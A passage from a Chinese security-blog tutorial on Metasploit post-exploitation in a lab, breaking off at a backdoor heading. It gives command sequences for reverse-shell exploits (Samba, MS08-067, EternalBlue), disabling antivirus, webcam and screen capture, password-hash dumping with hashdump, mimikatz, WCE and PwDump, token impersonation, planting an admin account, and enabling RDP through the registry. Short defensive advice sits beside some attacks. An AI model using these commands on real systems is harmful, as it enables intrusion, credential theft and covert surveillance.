[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解
您可能之前看到過我寫的類似文章,為什么還要重復撰寫呢?只是想更好地幫助初學者了解病毒逆向分析和系統安全,更加成體系且不破壞之前的系列。因此,我重新開設了這個專欄,準備系統整理和深入學習系統安全、逆向分析和惡意代碼檢測,“系統安全”系列文章會更加聚焦,更加系統,更加深入,也是作者的慢慢成長史。換專業確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行。享受過程,一起加油~
前文帶領大家了解Metasploit技術,它和CS都是APT攻擊中常見的方式,并結合作者之前的漏洞利用及WannaCry逆向經驗總結。這篇文章繼續帶領大家深入Metasploit技術,涉及后滲透相關的技術,包括信息收集、權限提權、移植漏洞模塊和后門。同時,結合作者之前的漏洞利用及WannaCry逆向經驗總結。本文參考徐焱老師的《Web安全攻防滲透測試實戰指南》著作,謝公子博客,并結合作者之前的博客和經驗進行總結。希望這篇文章對您有所幫助,這些大佬是真的值得我們去學習,獻上小弟的膝蓋~fighting!
文章目錄
- 一.MSF漏洞利用
- 二.后滲透攻擊之信息收集
- 1.進程遷移
- 2.系統命令
- 3.文件系統命令
- 三.后滲透攻擊之權限提升
- 1.權限查詢
- 2.利用WMIC實戰MS16-032本地溢出漏洞
- 3.令牌竊取提權
- 4.Hash攻擊提權
- 四.后滲透攻擊之移植自定義漏洞利用模塊
- 1.傳統MS08-067漏洞利用
- 2.移植github的MS17-010漏洞模塊
- 3.深度提權
- 五.后滲透攻擊之后門
- 1.操作系統Cymothoa后門
- 2.Web后門
- 六.總結
希望這些基礎原理能更好地幫助大家做好防御和保護,基礎性文章,希望對您有所幫助。作者作為網絡安全的小白,分享一些自學基礎教程給大家,主要是在線筆記,希望您們喜歡。同時,更希望您能與我一起操作和進步,后續將深入學習網絡安全和系統安全知識并分享相關實驗??傊?#xff0c;希望該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對您有幫助,將是我創作的最大動力,點贊、評論、私聊均可,一起加油喔!
作者的github資源:
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
從2019年7月開始,我來到了一個陌生的專業——網絡空間安全。初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇“網絡安全自學”系列文章,艱難前行著。感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!
接下來我將開啟新的安全系列,叫“系統安全”,也是免費的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內網滲透、網絡攻防實戰等,也將通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步,加油~
- 推薦前文:網絡安全自學篇系列-100篇
前文分析:
- [系統安全] 一.什么是逆向分析、逆向分析基礎及經典掃雷游戲逆向
- [系統安全] 二.如何學好逆向分析及呂布傳游戲逆向案例
- [系統安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰
- [系統安全] 四.OllyDbg動態分析工具基礎用法及Crakeme逆向
- [系統安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰僵尸游戲
- [系統安全] 六.逆向分析之條件語句和循環語句源碼還原及流程控制
- [系統安全] 七.逆向分析之PE病毒原理、C++實現文件加解密及OllyDbg逆向
- [系統安全] 八.Windows漏洞利用之CVE-2019-0708復現及藍屏攻擊
- [系統安全] 九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及深度提權
- [系統安全] 十.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現
- [系統安全] 十一.那些年的熊貓燒香及PE病毒行為機理分析
- [系統安全] 十二.熊貓燒香病毒IDA和OD逆向分析(上)病毒初始化
- [系統安全] 十三.熊貓燒香病毒IDA和OD逆向分析(中)病毒釋放機理
- [系統安全] 十四.熊貓燒香病毒IDA和OD逆向分析–病毒釋放過程(下)
- [系統安全] 十五.Chrome瀏覽器保留密碼功能滲透解析、藍屏漏洞及某音樂軟件漏洞復現
- [系統安全] 十六.PE文件逆向基礎知識(PE解析、PE編輯工具和PE修改)
- [系統安全] 十七.Windows PE病毒概念、分類及感染方式詳解
- [系統安全] 十八.病毒攻防機理及WinRAR惡意劫持漏洞(腳本病毒、自啟動、定時關機、藍屏攻擊)
- [系統安全] 十九.宏病毒之入門基礎、防御措施、自發郵件及APT28宏樣本分析
- [系統安全] 二十.PE數字簽名之(上)什么是數字簽名及Signtool簽名工具詳解
- [系統安全] 二十一.PE數字簽名之(中)Signcode、PEView、010Editor、Asn1View工具用法
- [系統安全] 二十二.PE數字簽名之(下)微軟證書漏洞CVE-2020-0601復現及Windows驗證機制分析
- [系統安全] 二十三.逆向分析之OllyDbg動態調試復習及TraceMe案例分析
- [系統安全] 二十四.逆向分析之OllyDbg調試INT3斷點、反調試、硬件斷點與內存斷點
- [系統安全] 二十五.WannaCry勒索病毒分析 (1)Python復現永恒之藍漏洞實現勒索加密
- [系統安全] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及病毒解析
- [系統安全] 二十七.WannaCry勒索病毒分析 (3)蠕蟲傳播機制解析及IDA和OD逆向
- [系統安全] 二十八.WannaCry勒索病毒分析 (4)全網"最"詳細的蠕蟲傳播機制解讀
- [系統安全] 二十九.深信服分享之外部威脅防護和勒索病毒對抗
- [系統安全] 三十.CS逆向分析 (1)你的游戲子彈用完了嗎?Cheat Engine工具入門普及
- [系統安全] 三十一.惡意代碼檢測(1)惡意代碼攻擊溯源及惡意樣本分析
- [系統安全] 三十二.惡意代碼檢測(2)常用技術詳解及總結
- [系統安全] 三十三.惡意代碼檢測(3)基于機器學習的惡意代碼檢測技術
- [系統安全] 三十四.惡意代碼檢測(4)編寫代碼自動提取IAT表、字符串及時間戳溯源地區
- [系統安全] 三十五.Procmon工具基本用法及文件進程、注冊表查看
- [系統安全] 三十六.APT系列(1)APT攻擊溯源防御與常見APT組織的攻擊案例
- [系統安全] 三十七.APT系列(2)遠控木馬詳解與防御及APT攻擊中的遠控
- [系統安全] 三十八.APT系列(3)惡意代碼與APT攻擊中的武器(強推Seak老師)
- [系統安全] 三十九.APT系列(4)APT攻防溯源普及和醫療數據安全防御總結
- [系統安全] 四十.APT系列(5)APT組織常用WinRAR漏洞復現(CVE-2018-20250)及惡意軟件劫持
- [系統安全] 四十一.APT系列(6)Python解析PE文件并獲取時間戳判斷來源區域
- [系統安全] 四十二.APT系列(7)基于溯源圖的APT攻擊檢測安全頂會論文總結
- [系統安全] 四十三.APT系列(8)Powershell和PowerSploit腳本滲透攻擊手段詳解
- [系統安全] 四十四.APT系列(9)Metasploit技術之基礎用法萬字詳解及防御機理
- [系統安全] 四十五.APT系列(10)Metasploit后滲透技術信息收集、權限提權和功能模塊詳解
聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。
一.MSF漏洞利用
上一篇文章我們詳細介紹了Metasploit的基礎用法及漏洞利用過程,這篇文章將介紹后滲透相關的技術,包括信息收集、權限提升、移植漏洞和后門。在介紹這些知識之前,我們先簡單回顧下MSF漏洞利用的基本流程。
第一步,掃描靶機Windows XP系統是否開啟445端口。
- nmap -sS 192.168.44.135
收集到目標主機相關信息后,為其選擇正確的Exploit和合適的Payload,然后發起攻擊。作者這里選擇Samba 3.x服務進行漏洞利用。
第二步,打開msfconsole。
- msfconsole
第三步,查詢Samba的漏洞利用模塊,并選擇合適的漏洞利用模塊。
- search samba
Samba是在Linux和UNIX系統上實現SMB(Server Message Block,信息服務塊)協議的一款免費軟件。SMB是一種在局域網上共享文件和打印機的通信協議,它在局域網內使用Linux和Windows系統的機器之間提供文件及打印機等資源的共享服務。
第四步,利用漏洞模塊。
在Samba服務返回的漏洞利用模塊列表中,我們選擇“Excellent”最杰出且時間較新的漏洞,從而提高滲透成功率。
- use exploit/multi/samba/usermap_script
第五步,查看該漏洞利用模塊可供選擇的攻擊載荷模塊。
注意,因為目標是Linux機器,一定要選擇Linux的攻擊載荷。本文主要是回顧MSF漏洞攻擊流程,后面會詳細介紹真實的漏洞利用案例。
- set payload cmd/unix/reverse
第六步,設置漏洞利用信息。
- 受害主機IP:set RHOST 192.168.44.135
- 攻擊主機IP:set LHOST 192.168.44.138
- 攻擊端口:set RPORT 445
第七步,輸入攻擊命令exploit或run。
MSF發動攻擊成功后會獲取目標主機Shell,可以看到攻擊主機和目標主機之間建立了Shell連接。同時可能會出現錯誤“Exploit completed, but no session was created”,需要注意目標主機版本信息,選擇對應的攻擊載荷及漏洞利用模塊。建議讀者多嘗試各種Exploit和Payload的組合。
防御方法:
- Samba服務漏洞發生在Samba3.0.20-25版本,當使用非默認用戶名映射腳本配置時,通過指定一個用戶名包含Shell元字符,攻擊者可以執行任意命令。建議將其升級到可防御的版本。
- SMB局域網上共享文件和打印機的通信協議會出現各種漏洞,建議關閉相關的端口及防火墻設置,即使修補最新漏洞。
二.后滲透攻擊之信息收集
成功地對目標機器攻擊滲透后還可以做什么呢?
Metasploit提供了一個非常強大的后滲透工具—— Meterpreter,該工具具有多重功能,使后續入侵變得更容易,獲取目標機的Meterpreter Shell后,就進入了Metasploit最精彩的后滲透利用節點,后期滲透模塊有200多個,Meterpreter具有以下優勢。
- 純內存工作模式,不需要對磁盤進行任何寫入操作。
- 使用加密通信協議,而且可以同時與幾個信道通信。
- 在被攻擊進程內工作,不需要創建新的進程。
- 易于在多進程之間遷移。
- 平臺通用,適用于Windows、Linux、 BSD系統, 并支持Intel x86和Intel x64平臺。
這里以上篇文章介紹的MS17-010漏洞為例進行說明。
同時,meterpreter的payload是真強大,它可以實現太多太多的功能了。我們可以在meterpreter下面進行help,查看相關用法。
- Core Commands
- File System Commands
- Networking Commands & System Commands
- User Interface Commands
- Webcam Commands & Other Commands
1.進程遷移
在剛獲得Meterpreter Shell時,該Shell是極其脆弱和易受攻擊的,例如攻擊者可以利用瀏覽器漏洞攻陷目標機器,但攻擊滲透后瀏覽器有可能被用戶關閉。所以第一步就是要移動這個Shell,把它和目標機中一個穩定的進程綁定在一起,而不需要對磁盤進行任何寫入操作。這樣做使得滲透更難被檢測到。
(1) 獲取目標主機正在運行的進程
- ps
這些進程與我們的目標主機如XP系統打開時對應的,如下圖所示。
(2) 查看Meterpreter Shell的進程號。
- getpid
發現Meterpreter Shell進程的PID為524,Name為spoolsv.exe。
(3) 輸入命令移動進程。
輸入migrate命令把Shell移動到PID為1684的Explorer.exe進程里,因為該進程是一個穩定的應用。
- migrate 1684
migrate也是一個post模塊,可以將meterpreter當前的進程移動到其他指定的進程中,這樣做的好處是可以給meterpreter一個相對穩定的運行環境,同時可以很好的躲避殺軟。
滲透過程中可能會遇到問題,比如“Error: Rex::TimeoutError : Operation timed out. ”,這都需要我們學會獨立解決。
完成進程遷移后,再次輸入getpid命令查看Meterpreter Shel的進程號,發現PID已經變成了2428,說明已經成功遷移到Explorer.exe進程里,原先PID為1116的進程會自動關閉,如圖所示。
(4) 使用自動遷移進程命令,系統會自動尋找合適的進程然后遷移。
- run post/windows/manage/migrate
如下所示,系統已經把原來PID為3292的進程遷移到6020。
meterpreter > run post/windows/manage/migrate[*] Running module against DX1XMSTMBBJR3FZ [*] Current server process: notepad.exe (3292) [*] Spawning notepad.exe process to migrate to [+] Migrating to 6020 [+] Successfully migrated to process 60202.系統命令
獲得了穩定的進程后,接下來收集系統信息。后續作者想通過Python自己實現這些功能,感覺挺有意思的。
(1) 查看目標主機的系統信息。
通常會先輸入sysinfo命令查看目標機的系統信息,例如操作系統和體系結構。
- sysinfo
(2) 檢查目標機是否運行在虛擬機上。
- run post/windows/gather/checkvm
可以看到當前目標機正運行在一個VMware虛擬機上,接下來我們檢查虛擬機最近是否運行。
(3) 查看目標機最近的運行時間。
- idletime
看到目標機器正在運行且運行了2 mins 49 secs。
(4) 查看目標機完整的網絡設置。
- route
除此之外,可以輸入background命令將當前會話放到后臺,此命令適合在多個Meterpreter會話的場景下使用。
(5) 查看已經滲透成功的目標主機的用戶名。
- getuid
(6) 關閉目標機操作系統殺毒軟件。
- run post/windows/manage/killav
(7) 啟動目標機的遠程桌面協議,對應3389端口,后面我們會利用該端口。
- run post/windows/manage/enable_rdp
(8) 查看目標機的本地子網情況。
- run post/windows/manage/autoroute
可以通過添加路由借助被攻陷的主機對其他網絡的主機發送攻擊。同時可以添加路由信息。
(9) 列舉當前有多少用戶登陸了目標機。
- run post/windows/gather/enum_logged_on_users
(10) 列舉完了用戶之后, 繼續輸入命令列舉安裝在目標機上的應用程序。
- run post/windows/gather/enum_applications
(11) 查看自動登陸的用戶和密碼。
- run windows/gather/credentials/windows_autologin
可以看到當前沒有抓到任何信息。此時就需要用到擴展插件Espia,使用前要先輸入load espia命令加載該插件,然后輸入screengrab命令就可以抓取此時目標機的屏幕截圖。
(12) 加載該插件截屏。
- load espia
- screengrab
另一個命令也可以達到同樣的截屏效果。抓取成功后就生成了一個jpeg圖片,保存在root目錄下。
- screenshot
(13) 查看目標機camera。
- webcam_list
(14) take photo。
- webcam_snap
(15) 開啟模式。
- webcam_stream
(16) 進入目標機shell。
- shell
(17) 停止shell會話并返回meterpreter。
- exit
3.文件系統命令
Meterpreter也支持各種文件系統命令,用于搜索文件并執行各種任務,例如搜索文件、下載文件及切換目錄等,相對來說操作比較簡單。常用的文件系統命令及其作用如下所示。
(1) 查看當前處于目標機的目錄。
- pwd或getwd
(2) 查看當前處于本地的哪個目錄。
- getlwd
(3) 列出當前目錄中的所有文件。
- ls
(4) 切換目錄。
- cd
(5) 搜索C盤中所有以".txt" 為擴展名的文件。
- search -f *.txt -d c:\\
其中-f參數用于指定搜索文件模式,-d參數用于指定在哪個目錄下進行搜索,如圖所示。
(6) 下載目標機C盤的test.txt文件到攻擊機root下。
- download c:\\test\\test.txt /root
(7) 上傳攻擊機root目錄下的test.txt文件到目標機C盤下。
- upload /root/test.txt c:\\
三.后滲透攻擊之權限提升
1.權限查詢
在滲透過程中很有可能只獲得了一個系統的Guest或User權限。低的權限級別將使我們受到很多的限制,在實施橫向滲透或者提權攻擊時將很困難。
在主機上如果沒有管理員權限,就無法進行獲取Hash、安裝軟件、修改防火墻規則和修改注冊表等各種操作,所以必須將訪問權限從Guset提升到User,再到Administrator,最后到System級別。
滲透的最終目的是獲取服務器的最高權限,即Windows操作系統中管理員賬號的權限,或Linux操作系統中root賬戶的權限。提升權限的方式分為以下兩類。
- 縱向提權: 低權限角色獲得高權限角色的權限。例如,一個WebShell權限通過提權之后擁有了管理員的權限,那么這種提權就是縱向提權,也稱作權限升級。
- 橫向提權: 獲取同級別角色的權限。例如,通過已經攻破的系統A獲取了系統B的權限,那么這種提權就屬于橫向提權。
所以在成功獲取目標機Meterpreter Shell后,我們要知道現在已經擁有了什么權限。
(1) 查看當前權限。
在Meterpreter Shell下輸入shell命令進入目標機的CMD命令行,接著輸入whoami /groups命令查看我們當前的權限。
- whoami
注意,如果提示whoami不是內部命令,則需要將whoami.exe復制到System32目錄即可。
查看我們當前的權限。
- whoami /groups
(2) 查看用戶已獲得的權限。
作者這里使用MS17-010漏洞提權,已經是系統管理員權限了。
- getuid
通過getsystem命令可以嘗試提權。
(3) 查看系統的已打補。
傳統的方法是在目標機的CMD命令行下輸入systeminfo命令,或者通過查詢C:\windows\里留下的補丁號".Iog" 查看目標機大概打了哪些補丁,如圖所示。
- systeminfo
可以看到目標機只安裝了3個修補程序。
meterpreter命令如下:
(4) 利用WMIC命令列出已安裝的補丁。
- Wmic qfe get Caption,Description,HotFixID,InstalledOn
注意,作者這里沒有顯示詳細信息,而徐老師他們顯示詳細信息如下圖所示。
可以看到目標機只打了3個補丁,要注意這些輸出的結果是不能被直接利用的,使用的方式是去找提權的EXP,然后將系統已經安裝的補丁編號與提權的EXP編號進行對比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) 、MS11-080(KB2592799),然后使用沒有編號的EXP進行提權。
因為虛擬機不怎么打補丁,所以我們可以使用很多EXP來提權,這里就用最新的MS16-032來嘗試提權,對應的編號是KB3139914。
WMIC是Windows Management Instrumentation Command-line的簡稱,它是一款命令行管理工具,提供了從命令行接口到批命令腳本執行系統管理的支持,可以說是Windows平臺下最有用的命令行工具。使用WMIC我們不但可以管理本地計算機,還可以管理同一域內的所有遠程計算機(需要必要的權限),而被管理的遠程計算機不必事先安裝WMIC。
需要注意的是,在Windows XP下,低權限用戶是不能使用WMIC命令的,但是在Windows 7系統和Windows 8系統下,低權限用戶可以使用WMIC且不用更改任何設置。WMIC在信息收集和后滲透測試階段非常實用,可以調取查看目標機的進程、服務、用戶、用戶組、網絡連接、硬盤信息、網絡共享信息、已安裝補丁、啟動項、已安裝的軟件、操作系統的相關信息和時區等。
2.利用WMIC實戰MS16-032本地溢出漏洞
下面我們就利用本地溢出漏洞來提高權限,也就是說通過運行些現成的、能造成溢出漏洞的Exploit,把用戶從User組或其他系統用戶組中提升到Administrator組或root。
溢出漏洞就像往杯子里裝水,水多了杯子裝不進去,里面的水就會溢出來。而計算機有個地方叫緩存區,程序的緩存區長度是事先被設定好的,如果用戶輸入的數據超過了這個緩存區的長度,那么這個程序就會溢出。
(1) 接下來準備提權,需要先把Meterpreter會話轉為后臺執行,然后搜索MS16-032,如下圖所示。
- search ms16-032
(2) 指定session完成提權操作。
- use windows/local/ms16_032_secondary_logon_handle_privesc
- set session 1
(3) 實現攻擊。
- run
注意,如果搜索不到最新的Exploit,可以輸入msfupdate命令進行升級,獲取最新的Exploit模塊、攻擊載荷,或者手動添加相應漏洞EXP 。但是作者的始終沒有響應,真實的運行結果是將權限提升為System級別。
防御方式:
- 該漏洞的安全補丁編號為KB3139914,我們只需要安裝此補丁即可。為了方便提權,下面給出部分補丁編號。
微軟也會定期給出對應的方法,比如:
- Microsoft 安全公告 MS08-067 - 嚴重
3.令牌竊取提權
令牌(Token)是系統的臨時密鑰,相當于賬戶名和密碼,用來決定是否允許這次請求和判斷這次請求是屬于哪一個用戶的。它允許你在不提供密碼或其他憑證的前提下,訪問網絡和系統資源。這些令牌將持續存在于系統中,除非系統重新啟動。
令牌最大的特點就是隨機性、不可預測,一般hk或軟件無法猜測出來。令牌有很多種,比如:
- 訪問令牌(Access Token): 表示訪問控制操作主題的系統對象;
- 密保令牌(Security token): 又叫作認證令牌或者硬件令牌,是一種計算機身份校驗的物理設備,例如U盾;
- 會話令牌(Session Token): 是交互會話中唯一的身份標識符。
在假冒令牌攻擊中需要使用Kerberost協議。所以在使用假冒令牌前,先來介紹Kerberost協議。Kerberos是一種網絡認證協議,其設計目標是通過密鑰系統為客戶機/服務器應用程序提供強大的認證服務。Kerberos的工作機制如下圖所示。
前面我們通過MS17-010已經實現權限提升,但已經是System級權限。但某些情況下可能是Test權限,需要進一步提升。
(1) 查看已經獲得的權限。
- getuid
(2) 提權。
- getsystem
發現提權失敗了。
(3) 列出可用的token。
- use incognito
- list_tokens -u
可以看到有兩種類型的令牌:
- 一種是Delegation Tokens,也就是授權令牌,它支持交互式登錄,例如可以通過遠程桌面登錄訪問);
- 一種是Impersonation Tokens,也就是模擬令牌,它是非交互的會話。令牌的數量其實取決于Meterpreter Shell的訪問級別。
由上圖可以看到,我們已經獲得了一個系統管理員hacker的授權令牌,現在就要假冒這個令牌,成功后即可擁有它的權限。
從輸出的信息可以看到分配的有效令牌包含 XI....NQ\hacker,其中XI…NQ是目標機的主機名,hacker表示登錄的用戶名。接下來在incognito中調用impersonate token命令假冒ge用戶進行攻擊,具體方法如下圖所示。
- impersonate token XI...NQ\\hacker
- shell
- whoami
注意:在輸入HOSTNAME\USERNAME時需要兩個反斜杠(\\)。運行成功后在Meterpreter Shell下運行shell命令并輸入whoami,可以看到現在就是假冒的那個hacker系統管理員了。
4.Hash攻擊提權
Hashdump Meterpreter腳本可以從目標機器中提取Hash值,破解Hash值即可獲得登錄密碼。計算機中的每個賬號(如果是域服務器,則為域內的每個賬號)的用戶名和密碼都存儲在 sam 文件中,當計算機運行時,該文件對所有賬號進行鎖定,要
想訪問就必須有"系統級”賬號。所以要使用該命令就必須進行權限的提升。
(1) hashdump抓取密碼
在Meterpreter Shell提示符下輸入hashdump命令,將導出目標機sam數據庫中的Hash。注意,在非system權限下會出現失敗,報錯 “priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.”
- hashdump
注意,在非SYSTEM權限下遠行hashdump命令會失敗,而且在Windows 7、Windows Server 2008下有時候會出現進程移植不成功等問題。權限不夠需要提升為system權限。查看權限可以進入目標機的 cmd 運行 whoami /groups 來查看。
(2) 如果報錯,則提權并將進程轉移至具有SYSTEM權限的進程。
- ps
- getsystem
- migrate 664
(3) 導出目標機sam數據庫中的Hash。
- hashdump
(4) smart hashdump導出用戶的Hash值。
另一個模塊smart hashdump的功能更為強大,可以導出域所有用戶的Hash,其工作流程如下:
- 檢查Meterpreter會話的權限和目標機操作系統類型。
- 檢查目標機是否為域控制服務器。
- 首先嘗試從注冊表中讀取Hash,不行的話再嘗試注入LSASS進程。
命令為:
- run windows/gather/smart_hashdump
(5) 通過暴力或者彩虹列表對抓取到的hash進行破解。
- https://www.cmd5.com/
說明:在SAM文件中保存了兩個不同的口令信息,LAN Manager(LM)口令散列算法和更加強大的加密NT版。LM就是NT口令文件的弱點。上圖中左邊為LM版本口令,右邊是NTLM版本,1001代表管理員。
(6) 使用Quarks PwDump抓取密碼
PwDump是一款Win32環境下的系統授權信息導出工具,目前沒有任何一款工具可以導出如此全面的信息、支持這么多的OS版本,而且相當穩定。它目前可以導出:
- Local accounts NT/LM hashes + history 本機NT/LM哈希+歷史登錄記錄。
- Domain accounts NT/LM hashes + history域中的NT/LM哈希+歷史登錄記錄。
- Cached domain password緩存中的域管理密碼。
- Bitlocker recovery information使用Bitlocker的恢復功能后遺留的信息(恢復密碼&關鍵包)。
運行該程序如上圖所示,默認顯示幫助信息,其參數含義如下所示。
- -dhl:導出本地哈希值。
- -dhdc:導出內存中的域控哈希值。
- -dhd:導出域控哈希值,必須指定NTDS文件。
- -db:導出Bitlocker信息, 必須指定NTDS文件。
- -nt:導出NTDS文件。
- -hist:導出歷史信息,可選項。
- -t:可選導出類型,默認導出John類型。
- -o:導出文件到本地。
這里使用該工具抓取本機Hash值并導出,可以輸入如下命令導出本地哈希值到當前目錄的1.txt。此外,該工具還可以配合Ntdsutil工具導出域控密碼。
- QuarksPwDump.exe -dhl -o 1.txt
(7) 使用WCE抓取密碼。
Windows Credentials Editor (WCE)是一款功能強大的Windows平臺內網滲透工具,它能列舉登錄會話,并且可以添加、改變和刪除相關憑據,如LM/NTHash。這些功能在內網滲透中能夠被利用,例如在Windows平臺上執行繞過Hash操作或者從內存中獲取NT/LM Hash (也可以從交互式登錄、服務、遠程桌面連接中獲取)以用于進一步的攻擊,而且體積也非常小,是內網滲透時的必備工具。不過必須在管理員權限下使用,還要注意殺毒工具的免殺。
首先輸入upload命令將wce.exe.上傳到目標主機C盤中,然后在目標機Shell下輸入wce -w命令,便會成功提取系統明文管理員的密碼,如圖所示。
另一款工具是Mimikatz,作為一款輕量級后滲透測試工具,它可以幫助安全測試人員輕松抓取系統密碼,此外還包括能夠通過獲取的Kerberos登錄憑據,繞過支持RestrictedAdmin模式下Windows 8或Windows Server 2012的遠程終端(RDP)等功能。后續實戰中我們遇到再詳細介紹。
同時,Mimikatz還能在PowerShell中執行,實現偷竊、注入憑證、偽造Kerberos票證創建,以及很多其他的功能。
輸入samdump命令查看samdump的可用選項抓取Hash。
- mimikatz_command -f samdump::hashes
四.后滲透攻擊之移植自定義漏洞利用模塊
1.傳統MS08-067漏洞利用
首先,簡單看看傳統的漏洞利用方法。由于之前MS17-010漏洞已經復現過,所以這里使用MS08-067來加深讀者MSF用法的印象。
第一步,掃描靶機Windows XP系統是否開啟445端口。
- nmap -sS 192.168.44.135
第二步,打開msfconsole。
- msfconsole
第三步,查詢漏洞模塊。
- search ms08-067
第四步,利用漏洞并設置參數。
- use exploit/windows/smb/ms08_067_netapi
利用永恒之藍漏洞 - set payload windows/shell_reverse_tcp
設置payload - set RHOSTS 192.168.44.135
設置受害主機IP - set LHOST 192.168.44.138
設置本機IP地址 - set RPORT 445
設置端口445
第五步,查看配合參數。
- show options
注意,默認target是自動的。
第六步,利用漏洞。
- exploit或run
此時可能會報錯“Exploit comleted, but no session was created”。這是需要根據靶機版本選擇合適的targets,例如這里是靶機系統為:Windows XP,則只需加一行如下命令:
- set target 2
最終漏洞利用成功。
輸出后滲透相關命令,可以進行剩余操作。
2.移植github的MS17-010漏洞模塊
2017年5月12日,WannaCry蠕蟲通過永恒之藍MS17-010漏洞在全球范圍大爆發,感染大量的計算機。WannaCry勒索病毒全球大爆發,至少150個國家、30萬名用戶中招,造成損失達80億美元,已影響金融、能源、醫療、教育等眾多行業,造成嚴重的危害。
WannaCry是一種“蠕蟲式”勒索病毒軟件,由不法分子利用NSA泄露方程式工具包的危險漏洞“EternalBlue”(永恒之藍)進行傳播。該蠕蟲感染計算機后會向計算機中植入敲詐者病毒,導致電腦大量文件被加密。
WannaCry利用Windows系統的SMB漏洞獲取系統的最高權限,該工具通過惡意代碼掃描開放445端口的Windows系統。被掃描到的Windows系統,只要開機上線,不需要用戶進行任何操作,即可通過SMB漏洞上傳WannaCry勒索病毒等惡意程序。
WannaCry勒索病毒主要行為是傳播和勒索。
- 傳播:利用基于445端口的SMB漏洞MS17-010(永恒之藍)進行傳播
- 勒索:釋放文件,包括加密器、解密器、說明文件、語言文件等;加密文件;設置桌面背景、窗體信息及付款賬號等。
雖然MS17-010漏洞利用模塊Metasploit已經集成,但經過測試后被發現不支持某些操作系統,比如Windows 2003,但網上有支持的滲透腳本。并且真實的案例中,尤其是0day漏洞,我們需要自己構建shellcode攻擊腳本,所以這里我們講述一種普適性更強的漏洞利用方法,即移植漏洞模塊。
作者之前的文章也自己實現過。
- Windows漏洞利用之Metasploit實現棧溢出攻擊及反彈shell
- Windows漏洞利用之基于SEH異常處理機制的棧溢出攻擊及shell提取
- Windows漏洞利用之構建ROP鏈繞過DEP并獲取Shell
(1) 下載漏洞利用模塊至本地或自己編寫相關Ruby腳本。
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git運行結果如下圖所示:
(2) 將 Eternalblue-Doublepulsar-Metasploit 文件夾下的rb文件復制到指定目錄。
- /usr/share/metasploit-framework/modules/exploits/windows/smb
在Metasploit中,了解漏洞利用代碼模塊存儲的文件夾位置非常重要,不僅有助于尋找不同模塊的所在位置,也有助于讀者理解Metasploit框架的基本用法。
(3) MSF重新加載全部文件。
- reload_all
(4) 搜索該腳本文件。
- search eternalblue_doublepulsar
(5) 使用MSF自帶的Msfvenom命令生成DLL。
將MS17-010漏洞利用代碼移植到Metasploit框架后,就可以實現滲透操作。但在攻擊之前需要先生成一個DLL文件,如果目標主機是32位操作系統則生成32位的DLL,同理生成64位的DLL。這里涉及免殺,也可以使用PowerShell下的Empire生成DLL,后面文章介紹。
WannaCry和永恒之藍詳細原理,推薦大家閱讀我的逆向分析文章。
- [網絡安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網源碼詳細解讀
(6) 使用use命令加載該模塊及漏洞配置。
- use exploit/windows/smb/eternalblue_doublepulsar
(7) 漏洞利用。
- exploit
至此,我們攻擊成功。得到一個Meterpreter會話,如下圖所示。
防御建議:
- 開啟系統防火墻
- 關閉445、139等端口連接
- 開啟系統自動更新,下載并更新補丁,及時修復漏洞
- 為計算機安全最新補丁,微軟已經發布補丁MS17-010修復該漏洞,讀者也可以通過第三方工具下載補丁
- 安裝安全軟件,開啟主動防御進行攔截查殺
- 如非服務需要,建議把高危漏洞的端口都關閉,比如 135、137、138、139、445、3389 等
- 開啟防火墻,及時備份重要文件
3.深度提權
接著我們需要進一步對目標XP主機進行深度提權。
(1) 增加普通用戶并提升至管理員權限。
- 增加普通用戶
net user hacker 123456 /add - 提升管理員權限
net localgroup administrators hacker /add
Windows DOM用戶常用命令如下:
net user abcd 1234 /add 新建一個用戶名為abcd,密碼為1234的帳戶,默認為user組成員 net user abcd /del 將用戶名為abcd的用戶刪除 net user abcd /active:no 將用戶名為abcd的用戶禁用 net user abcd /active:yes 激活用戶名為abcd的用戶 net user abcd 查看用戶名為abcd的用戶的情況 net localgroup administrators abcd /add 將abcd賬戶給予管理員權限此時被攻擊的主機新增“hacker”管理員如下圖所示:
(2) 開啟遠程連接3389端口并進行遠程操作。
# 開啟遠程連接 echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat # 查看網絡端口 netstat -an # 遠程連接 rdesktop 192.168.44.135作者掃描發現3389端口已經開啟,也可以直接利用。
(3) 輸入命令連接遠程IP地址,并輸入我們創建好的hacker用戶名及密碼。
- rdesktop 192.168.44.135
輸入創建的用戶名hacker和密碼123456回車,彈出提示框點擊OK,稍等就會成功登錄XP系統。
這是本文的深度提權知識。
(4) 最后,我們還需要將新建的用戶名hacker刪除。
寫到這里,整個實驗就講解完畢。
五.后滲透攻擊之后門
在完成提升權限后,我們就應該建立后門(backdoor),以維持對目標主機的控制權。這樣,即使我們所利用的漏洞被補丁程序修復,還可以通過后門繼續控制目標系統。
簡單的說,后門就是一個留在目標主機上的軟件,它可以使攻擊者隨時連接到目標主機。大多數情況下,后門是一個運行在目標主機上的隱藏進程,它運行一個普通的、未經授權的用戶控制計算機。
1.操作系統Cymothoa后門
